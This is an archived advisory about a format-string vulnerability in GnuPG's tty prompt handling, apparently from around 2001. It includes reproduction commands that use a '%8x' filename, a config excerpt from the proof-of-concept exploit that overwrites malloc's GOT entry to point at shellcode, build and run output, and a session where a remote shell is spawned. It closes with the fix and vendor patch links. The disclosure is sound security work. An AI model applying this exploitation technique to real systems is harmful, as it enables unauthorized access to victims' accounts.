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TUCoPS :: Crypto :: gnupg3~1.htm

GnuPG format string weakness



Vulnerability

    GnuPG

Affected

    GnuPG

Description

    'fish stiqz' (Synnergy Networks) found following.  GnuPG is a very
    popular  GNU  replacement  for  the  public key encryption program
    PGP.  As described  by its website "GnuPG  is a complete and  free
    replacement for PGP.   Because it does  not use the  patented IDEA
    algorithm, it can  be used without  any restrictions.   GnuPG is a
    RFC2440 (OpenPGP) compliant application."

    Hidden  deep  within  its  code  is  a format string vulnerability
    which can  be triggered  simply by  attempting to  decrypt a  file
    with a specially crafted  filename.  This vulnerability  can allow
    a malicious user to gain  unathorized access to the account  which
    attempted the decryption.

    The problem code  lies in util/ttyio.c  in the 'do_get'  function.
    There  is  a  call  to  a  function  called  'tty_printf'   (which
    eventually results in a  vfprintf call) without a  constant format
    string:

        tty_printf( prompt );

    If gpg attempts to decrypt a  file whose filename does not end  in
    ".gpg",  that  filename  (minus  the  extension)  is copied to the
    prompt string, allowing a user-suppliable format string.

    In order to show the severity of the bug, look first at how it  is
    reproduced.

    1. Create a file with a valid format string as the filename.

        $ echo "hello, how are you friend?" > %8x_%8x_%8x

    2. Encrypt this file.

        $ gpg -r fish@analog.org -e %8x_%8x_%8x
        gpg: this cipher algorithm is depreciated; please use a more standard one!

        $ ls %8x_%8x_%8x*
        %8x_%8x_%8x  %8x_%8x_%8x.gpg

    3. gpg added the ".gpg" extension to the new encrypted file,  give
       it a different one.

        $ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8

    4. Now, attempt to decrypt the file.

        $ gpg %8x_%8x_%8x.el8

        You need a passphrase to unlock the secret key for
        user: "fish stiqz (bleh) <fish@analog.org>"
        1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

        gpg: %8x_%8x_%8x.el8: unknown suffix
        Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]:

    Now you will  notice that the  %8x's were expanded!   However, the
    actual filename is not our format string.  The original  filename,
    which is stored inside the file as part of the encrypted data,  is
    the real format string.   So the file could  be renamed again  and
    still produce the same result:

        $ mv %8x_%8x_%8x.el8 README.TXT
        $ gpg README.TXT

        You need a passphrase to unlock the secret key for
        user: "fish stiqz (bleh) <fish@analog.org>"
        1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

        gpg: README.TXT: unknown suffix
        Enter new filename [ 80af5d9_ 80cefb0_ 80af5ca]:

    The  exploit  created  simply  creates  and  encrypts  a file that
    exploits this vulnerability.   However, considering that there  is
    no possible way  to determine what  type of machine  the file will
    be decrypted on, the size of the remote environment, the  location
    that libc  is mapped,  etc... the  exploit will  require a  lot of
    knowledge  about  the  remote  system  for  it  to work.  For this
    reason, this exploit can be considered "Proof of Concept".

    There  were  a  few  hurdles  to  get  around  while building this
    exploit.

    First, since  this a  remote attack,  there are  only two  ways to
    feed data  to gpg.   1) Through  the filename  and 2)  through the
    encrypted data inside the file.  Option #1 seemed easiest to  use,
    so we used it.

    Second, since  there are  limitations on  the size  of a filename,
    255 bytes  on Linux  systems for  example, we  need a small format
    string  and  a  small  remote  shellcode.   The  format string and
    shellcode combination would be located on the stack, allowing  the
    Linux kernel  patch from  the Openwall  Project to  defend against
    this  kind  of  attack.   However,  this  is not acceptable for an
    exploit by fish stiqz.  Before the vulnerable call, the prompt  is
    created on  the heap,  and the  format string  copied to  it.  The
    filename (our format string and shellcode combination) taken  from
    the data inside the  file, is also   copied to the heap,  allowing
    two different  places to  store a  remote shellcode  on the  heap.
    The first location is complicated  by the fact that the  prompt is
    filtered through iscntrl(), escaping  all characters in the  range
    of 0x00-0x1f and 0x7f.  But, since 'fish' thought it would be  fun
    to make some remote shellcode to get around this, he chose to  use
    the first location on the heap, but either one is fine.

    Example  exploitation  (overwrite  the  GOT  entry  of malloc() to
    point to the shellcode on the heap):

        (from config.h in the exploit)

        /* <FIXME> */

        /* location of the *local* copy of gpg, used to encrypt the file */
        #define DEFAULT_GPG_PATH "/usr/local/bin/gpg"

        /* contents appended to the format string, or NULL if you want to skip it */
        #define APPEND lnx_i386_remote_shellcode

        /* only needed if appending APPEND is defined, NULL if you wanna skip */
        #define ARCHNOP "\x90"

        /* the overwrites (most definitely needed) */
        short_write_t short_array[] =
        {
            /* overwrite 0x080c9dc4 (GOT of malloc) with 0x080cca60 (shellcode) */
            { 0xca60, 0x080c9dc4 + 0 },
            { 0x080c, 0x080c9dc4 + 2 },
            { 0, 0 }
        };

        /* </FIXME> */

    Make the backdoored file:

        $ make clean && make
        rm -f *~ *.o gnupig
        gcc -Wall -O2 -g -c gnupig.c
        gcc -Wall -O2 -g -c common.c
        gcc -Wall -O2 -g -c file.c
        gcc -Wall -O2 -g -c shellcode.c
        gcc -Wall -O2 -g -c fmtstr.c
        gcc -Wall -O2 -g -o gnupig gnupig.o common.o file.o shellcode.o fmtstr.o

        $ ./gnupig -s -e 366 -a 4 -k fish@analog.org
        [0] shellcode passed.
        [1] running gpg to encrypt the dummy file.
        gpg: this cipher algorithm is depreciated; please use a more standard one!
        [2] created dummy file successfully.

    User runs gpg on the encrypted file:

        $ gpg *.el8
        ...

    Remote shell is spawned (in other terminal):

        $ telnet localhost 16705
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        id;
        uid=1000(fish) gid=100(users)
        exit;
        Connection closed by foreign host.

    There are a few other tricks you can do, like doing a return  into
    libc  attacks  and  writing  the  payload  with the format string,
    which can be performed  by this exploit.   It is a very  versatile
    tool.  Unfortunately, or  fortunately (depending on your  point of
    view), these types of attacks will also be unreliable (due to  the
    fact  that  we  dont  know  the  remote  environment or how gpg is
    spawned).

    The exploit code is attached.

    ---
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    -----

    In many cases GnuPG is used as a backend for a MUA or some script.
    In these cases gpg should be called with the option --batch  which
    suppresses the output of the filename to the tty and thereby makes
    it immune  against the  bug.   So, it  should be  save to continue
    using GnuPG from within a MUA.

    BTW, the Windows version is not affect by this bug, but there are
    probably other problems with this system.

Solution

    The vulnerable call obviously needs the "%s" conversion:

        tty_printf( "%s", prompt );

    The newest release of GnuPG (version 1.0.6) contains this security
    fix,  as  well  as  implementing  many  new  features.   It can be
    obtained from

        http://www.gnupg.org/download.html

    All GnuPG users are strongly urged to upgrade as soon as possible.

    For Immunix OS:

        http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/gnupg-1.0.6-2_StackGuard.i386
        http://download.immunix.org/ImmunixOS/6.2/updates/SRPMS/gnupg-1.0.6-2_StackGuard.src
        http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/gnupg-1.0.6-2_imnx.i386.rpm
        http://download.immunix.org/ImmunixOS/7.0/updates/SRPMS/gnupg-1.0.6-2_imnx.src.rpm

    For Linux-Mandrake:

        Linux-Mandrake 7.1: 7.1/RPMS/gnupg-1.0.6-1.2mdk.i586.rpm
                            7.1/SRPMS/gnupg-1.0.6-1.2mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/gnupg-1.0.6-1.1mdk.i586.rpm
                            7.2/SRPMS/gnupg-1.0.6-1.1mdk.src.rpm
        Linux-Mandrake 8.0: 8.0/RPMS/gnupg-1.0.6-1.1mdk.i586.rpm
                            8.0/SRPMS/gnupg-1.0.6-1.1mdk.src.rpm
    Corporate Server 1.0.1: 1.0.1/RPMS/gnupg-1.0.6-1.2mdk.i586.rpm
                            1.0.1/SRPMS/gnupg-1.0.6-1.2mdk.src.rpm

    For Trustix Secure Linux:

        http://www.trustix.net/pub/Trustix/updates/
        ftp://ftp.trustix.net/pub/Trustix/updates/
        ftp://ftp.trustix.net/pub/Trustix/software/swup/
            ./1.2/SRPMS/gnupg-1.0.6-1tr.src.rpm
            ./1.2/RPMS/gnupg-1.0.6-1tr.i586.rpm
            ./1.1/SRPMS/gnupg-1.0.6-1tr.src.rpm
            ./1.1/RPMS/gnupg-1.0.6-1tr.i586.rpm

    For SuSE Linux:

        ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec1/gpg-1.0.6-0.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/7.0/sec1/gpg-1.0.6-0.i386.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.4/sec1/gpg-1.0.6-1.i386.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.4/zq1/gpg-1.0.6-1.src.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.3/sec1/gpg-1.0.6-1.i386.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.3/zq1/gpg-1.0.6-1.src.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.1/sec1/gpg-1.0.6-0.sparc.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/sparc/update/7.0/sec1/gpg-1.0.6-0.sparc.rpm
        ftp://ftp.suse.de/pub/suse/sparc/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec1/gpg-1.0.6-0.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/7.0/sec1/gpg-1.0.6-0.ppc.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/6.4/sec1/gpg-1.0.5-3.ppc.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/6.4/zq1/gpg-1.0.5-3.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.1/sec1/gpg-1.0.6-0.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/7.0/sec1/gpg-1.0.6-0.alpha.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.4/sec1/gpg-1.0.6-1.alpha.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.4/zq1/gpg-1.0.6-1.src.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.3/sec1/gpg-1.0.6-2.alpha.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.3/zq1/gpg-1.0.6-2.src.rpm

    For Conectiva Linux:

        ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es//SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/gnupg-doc-1.0.6-1cl.i386.rpm

    For Caldera Linux:

        ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/SRPMS/gnupg-1.0.6-1.src.rpm

    For RedHat:

        ftp://updates.redhat.com/6.2/en/os/SRPMS/gnupg-1.0.6-0.6.x.src.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/gnupg-1.0.6-0.6.x.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/gnupg-1.0.6-0.6.x.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/gnupg-1.0.6-0.6.x.sparc.rpm
        ftp://updates.redhat.com/7.0/en/os/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/gnupg-1.0.6-1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/gnupg-1.0.6-1.i386.rpm
        ftp://updates.redhat.com/7.1/en/os/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://updates.redhat.com/7.1/en/os/i386/gnupg-1.0.6-1.i386.rpm

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/gnupg_1.0.6-0potato1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/gnupg_1.0.6-0potato1.dsc
        http://security.debian.org/dists/stable/updates/main/source/gnupg_1.0.6.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/gnupg_1.0.6-0potato1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/gnupg_1.0.6-0potato1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/gnupg_1.0.6-0potato1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/gnupg_1.0.6-0potato1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/gnupg_1.0.6-0potato1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/gnupg_1.0.6-0potato1_sparc.deb

    For Turbolinux:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/gnupg-1.0.6-1.src.rpm


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